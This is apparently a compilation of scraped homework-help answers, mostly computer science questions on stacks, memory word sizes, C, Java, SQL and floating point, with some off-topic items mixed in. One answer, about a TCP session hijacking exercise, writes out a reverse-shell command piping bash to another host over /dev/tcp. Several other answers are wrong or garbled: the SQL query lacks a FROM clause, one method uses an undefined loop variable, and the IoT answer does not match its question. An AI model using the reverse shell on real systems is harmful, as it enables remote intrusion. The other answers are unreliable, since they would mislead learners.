Answer:
9 10 6 4 7 1
Explanation:
When the values are pushed to the stack they would end up in the stack in the same order as they go in.
1 7 4 6 10 9
when elements are popped from a stack they are removed from the end to the beggining of the stack, and since these elements are being added to the priorityQueue then priQue will have the following order
9 10 6 4 7 1
this will also be the order that the numbers will be printed out from left to right since priorityQueue remove method, removes the elements from left to right.
A digital computer has a memory unit with 16 bits per word. The instruction set consists of 72 different operations. All instructions have an operation code part(opcode) and an address part(allowing for only one address). Each instruction is stored in one word of memory.
Required:
a. How many bits are needed for the opcode?
b. How many bits are left for the address part of the instruction?
c. What is the maximum allowable size for memory?
d. What is the largest unsigned binary number that can be accommodated in one word of memory?
Answer:
a. 7 bits b. 9 bits c. 1 kB d. 2¹⁶ - 1
Explanation:
a. How many bits are needed for the opcode?
Since there are 72 different operations, we require the number of bits that would contain 72 different operations. So, 2ⁿ ≥ 72
72 = 64 + 8 = 2⁶ + 8
Since n must be an integer value, the closest value of n that would contain 72 different operations is n = 7. So, 2⁷ = 128
So, we require 7 bits for the opcode.
b. How many bits are left for the address part of the instruction?
bits left = bits per word - opcode bit = 16 - 7 = 9 bits
c. What is the maximum allowable size for memory?
Since there are going to be 2⁹ bits to addresses each word and 16 bits for each word, the maximum allowable size for memory is thus 2⁹ × 16 = 512 × 16 = 8192 bits.
We convert this to bytes
8192 bits × 1 byte/8 bits = 1024 bytes = 1 kB
d. What is the largest unsigned binary number that can be accommodated in one word of memory?
Since the number go from 0 to 2¹⁶, the largest unsigned binary number that can be accommodated in one word of memory is thus
2¹⁶ - 1
Q : Write a simple code, which basically takes a integer value from PC terminal and calculates the solutions on Arduino board and replays the answers to the PC terminal.
a. Power of given value.
b. If number is prime number or not.
you should upload your answers with *.c file with necessary comments.
Answer:
I have uploaded my answers with *.c file with necessary comments.
Explanation:
a. Power of given value.
A
#include <stdio.h>
int main() {
int base, exp;
long long result = 1;
printf("Enter a base number: ");
scanf("%d", &base);
printf("Enter an exponent: ");
scanf("%d", &exp);
while (exp != 0) {
result *= base;
--exp;
}
printf("Answer = %lld", result);
return 0;
}
b. If number is prime number or not.
#include <stdio.h>
int main() {
int n, i, flag = 0;
printf("Enter a positive integer: ");
scanf("%d", &n);
for (i = 2; i <= n / 2; ++i) {
// condition for non-prime
if (n % i == 0) {
flag = 1;
break;
}
}
if (n == 1) {
printf("1 is neither prime nor composite.");
}
else {
if (flag == 0)
printf("%d is a prime number.", n);
else
printf("%d is not a prime number.", n);
}
return 0;
}
Hope this helps!!!
¿sharpness or unbreaking people?
Really hard decision, but ultimately, it depends on your personal prefrence. I would choose un breakin, however, for some people if you want to kill mobs quicker, than sharpness would be the way to go.
What does the following code print?
public class { public static void main(String[] args) { int x=5 ,y = 10; if (x>5 && y>=2) System.out.println("Class 1"); else if (x<14 || y>5) System.out.println(" Class 2"); else System.out.println(" Class 3"); }// end of main } // end of class.
Answer:
It throws an error.
the public class needs a name.
like this:
public class G{ public static void main(String[] args) {
int x=5 , y = 10;
if (x>5 && y>=2) System.out.println("Class 1");
else if (x<14 || y>5) System.out.println(" Class 2");
else System.out.println(" Class 3"); }// end of main
}
if you give the class a name and format it, you get:
Class 2
Explanation:
Whatever programming language you use will ultimately need to be translated into binary in order for the computer to understand it.
a. True
b. False
Answer:
Javascript:
function translate(what) {
if (what) {
return 1;
} else if (!what) {
return 0;
}
}
translate(true);
Explanation:
True is 1;
False is 0;
what are the events?
Answer:
a thing that happens or takes place, especially one of importance.
How do you write a poem on the topic 'I am good at singing'? answer and get 100 points
Answer:
ur mom
Explanation:
Suppose that you are asked to modify the Stack class to add a new operation max() that returns the current maximum of the stack comparable objects. Assume that pop and push operations are currently implemented using array a as follows, where item is a String and n is the size of the stack. Note: if x andy are objects of the same type, use x.compareTo(y) to compare the objects x and y public void push String item ) { [n++] = iten; } public String pop { return al--n]; } Implement the max operation in two ways, by writing a new method using array a (in 8.1), or updating push and pop methods to track max as the stack is changed (in 8.2). Q8.1 Implement method maxi 5 Points Write a method max() using Out) space and Oin) running time. public String max() {...} Enter your answer here Q8.2 Update push() and popo 5 Points Write a method max() using On) space and 011) run time. You may update the push and pop methods as needed public void push {...} public String pop() {...} public String max() {...}
Answer:
Following are the code to the given points:
Explanation:
For point 8.1:
public String max()//defining a method max
{
String maxVal=null;//defining a string variable that holds a value
for(int x=0;x<n;x++)
{
if(maxVal==null || a[i].compareTo(maxVal)>0)//defining if blok to comare the value
{
maxVal=a[i];//holding value in maxVal variable
}
}
return maxVal;//return maxVal variable value
}
For point 8.2:
public void push(String item)//defining a method push that accepts item value in a parameter
{
a[n]=item;//defining an array to hold item value
if(n==0 || item.compareTo(maxVals[n-1])>0)//use if to comare item value
{
maxVals[n]=item;//holding item value in maxVals variable
}
else
{
maxVals[n]=maxVals[n-1];//decreasing the maxVals value
}
n++;//incrementing n value
}
public String pop()//defining a method pop
{
return a[--n];//use return value
}
public String max()//defining a method max
{
return maxVals[n-1];//return max value
}
In the first point, the max method is declared that compares the string and returns its max value.In the second point, the push, pop, and max method are declared that works with their respective names like insert, remove and find max and after that, they return its value.Construct a SQL query that displays a list of colleges, their sity/state, the accrediting agency, and whether or not the school is distance only. Only show the first 10 records.
Answer:
SELECT college, city_state, accre_agency, distance LIMIT 10
Explanation:
Given
Table name: College
See attachment for table
Required
Retrieve top 10 college, state, agency and school distance from the table
To retrieve from a table, we make use of the SELECT query
The select statement is then followed by the columns to be selected (separated by comma (,))
So, we have:
SELECT college, city_state, accre_agency, distance
From the question, we are to select only first 10 records.
This is achieved using the LIMIT clause
i.e. LIMIT 10 for first 10
So, the complete query is:
SELECT college, city_state, accre_agency, distance LIMIT 10
There is an active Telnet connection from a client (10.0.2.5) to a Telnet server(10.0.2.9). The server has just acknowledged a sequence number1000, and the client has just acknowledged a sequence number 3000. An attacker wants to launch the TCP session hijacking attack on the connection, so he can execute a command on the server. He is on the same local area network as these two computers. You need to construct a TCP packet for the attacker. Please fill in the following fields:
• Source IP and Destination IP
• Source port and Destination port
• Sequence number
• The TCP data field.
Answer:
Answer is mentioned below.
Explanation:
Source IP and Destination IP: 10.0.2.5, 10.0.2.9 Source port and Destination port: for source port, we need to sniffer a packet in this Sequence number: 3001 The TCP data field: “/bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1”I hope you find the answer helpful. All the codes are correctly mentioned. Thanks
The following implementations of the method reverse are intended to reverse the o rder of the elements in a LinkedList.
I.
public static void reverse (LinkedList alist)( LinkedList temp = new LinkedList (); while (aList.size ()>0) temp.addLast (aList.removeFirst ) aList.addFirst (temp.removeFirst ) while (temp.size ()> o)
II.
public static void reverse (LinkedList alist) while (aList.size () >0) while (Itemp.isEmpty 0) QueuecSomeType> temp new LinkedList 0: temp.add (alist.removeFirst ()): aList.addFirst (temp.remove ():
IlI.
public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());
Which of the choices above perform the intended task successfully? Why?
a. I only
b. Il only
c. Ill only
d. Il and Ill only
e. I, ll, and IlI
Answer:
c. Ill only
Explanation:
All of the code snippets provided are missing small details such as brackets in the correct places and '=' to signal an assignment. These are crucial when coding in Java and the code will not run without it. Regardless, the only implementation that is correct in the options would be implementation III. It is the only code snippet that is correctly structured to reverse the order of the elements. It will still need debugging in order to get it to work.
IlI.
public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());
A database designer wants to create three tables: Supplier, Product, and Country. The Supplier table has a Countryld column with values that must appear in the Country table's Countryld column. The Product table has an auto-increment column.
Which table's CREATE TABLE statement(s) must specify a FOREIGN KEY?
a. Supplier
b. Product
c. Country
d. Supplier and Country
Answer:
(a) Supplier
Explanation:
In database design, two tables are linked together using a FOREIGN KEY. A foreign key is formed from one or more columns of one table that reference or match another key (often called a primary key) in another table. In other words, when a column or a combination of columns on one table points to a primary key of another table, the column(s) will specify the foreign key.
PS: A primary key is used to make each entry of a table unique.
In the given tables - Supplier, Product, Country - since the Supplier table has a column called CountryId referencing the CountryId column of the Country table, then CountryId is a primary key in Country table but a foreign key in Supplier table.
Therefore, the CREATE TABLE statement(s) of the Supplier table must specify a foreign key.
A database management system often reads and writes data in a database, and makes sure there is consistency and availability. The supplier table's CREATE TABLE statement(s) must specify a FOREIGN KEY.
The database system often guards data when a lot of transactions is taking place. it often hinders multiple transactions with the same data at the same time.The Select SQL statement does not alter any database data. A supplier database is made up of different list of service, product or materials providers who can meet orders quickly.
Learn more from
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16238)
Which type of device often controls iot
tasks?
Desktop
Laptop
Samart phone
switch
Answer:
Consumer connected devices include smart TVs, smart speakers, toys, wearables and smart appliances. Smart meters, commercial security systems and smart city technologies -- such as those used to monitor traffic and weather conditions -- are examples of industrial and enterprise IoT devices.
Which of the following is not a way to build customer loyalty
Answer: are there option choices? If not I would say
1. not giving back enough change
2. Being rude
3. not giving the right prices
4. Not answering questions
Explanation: hope this helps, have a great day!!
Explain why robots are better at some jobs than human workers are.
Answer:
Because humans have human minds meaning there are chances of errors, and or mistakes. and they do the same thing over and over with precise precision
Explanation:
hope this helps :)
The moment that S-locks are released will determine:__________
a. The granularity of locks
b. The compliance with ACID
c. The look-ahead logging strategy
d. The anomalies that can happen
Answer:
A.
Explanation:
In computer science, the selection of a lockable device is an essential consideration in the creation of a database management system.
Granularity locking is a locking technique that is applied in database management systems (DBMS) as well as relational databases. The granularity of locks corresponds to how much data is locked at once, and it is determined when S lock (Shared Locks) are released.
The moment that S-locks are released will determine the granularity of locks (Option a).
A lock can be defined as a procedure capable of enforcing limits on access to a particular resource when there exist many threads of execution.Multiple granularity locking (abbreviated as MGL) is a locking strategy employed in database management systems and also in relational databases. This strategy (multiple granularity locking) is often used in order to ensure serializability.In conclusion, the moment that S-locks are released will determine the granularity of locks (Option a).
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https://brainly.com/question/15691389
Multiply the following two Tom's Tiny floating-point format numbers (8-bit: sign bit, 3-bit 2's complement exponent, 4-bit fraction). Make sure to correctly round the result before putting the answer back in the 8-bit format.
A = 10010011
B = 10101000
AxB = _______
Answer:
A*B = 00111100
Explanation:
Given data :
A = 10010011
B = 10101000
Find A * B
For A = 10010011 express in sign bit , exponent and number
repeat same process for B
attached below is a detailed solution
A*B = 00111100
what is the mean of debugging
Answer:
the process of identifying and removing errors from computer hardware or software
Explanation:
Essentially just fixing programming errors, mainly in coding or software
Why is it best to serve cheese with plain breads or crackers?
Answer:Here's why it works: Club crackers are engineered to be the perfect amount of buttery and salty, which means that, sometimes, they're all you can taste if paired with the wrong cheese.
Explanation:
In the following cell, we've loaded the text of Pride and Prejudice by Jane Austen, split it into individual words, and stored these words in an array p_and_p_words. Using a for loop, assign longer_than_five to the number of words in the novel that are more than 5 letters long. Hint: You can find the number of letters in a word with the len function.
Answer:
Explanation:
Since the array is not provided, I created a Python function that takes in the array and loops through it counting all of the words that are longer than 5. Then it returns the variable longer_than_five. To test this function I created an array of words based on the synapse of Pride and Prejudice. The output can be seen in the attached picture below.
def countWords(p_and_p_words):
longer_than_five = 0
for word in p_and_p_words:
if len(word) > 5:
longer_than_five += 1
return longer_than_five
Consider the following pseudocode.
i = 0
sum = 0
REPEAT UNTIL i = 4
i = 1
sum++
DISPLAY sum
What is the output?
Considering the pseudocode :
i = 0
sum = 0
REPEAT UNTIL i = 4
i = 1
sum++
DISPLAY sum
The output of the pseudocode will be 4.
pseudocodepseudocode is a plain language description of the steps in an algorithm or another system.
Let's write the code in python.
i = 0
sum = 0
while i < 4:
sum += 1
i += 1
print(sum)
Code explanation:The first line of code, we initialise i as zero.The sum was also initialise as zero.Then we use the while loop to loop through i until its less than 4.Then we add one to the sum for each loop.Then, increase the value of i to continue the loop.Finally, we print the sum.learn more on pseudocode here : https://brainly.com/question/17101205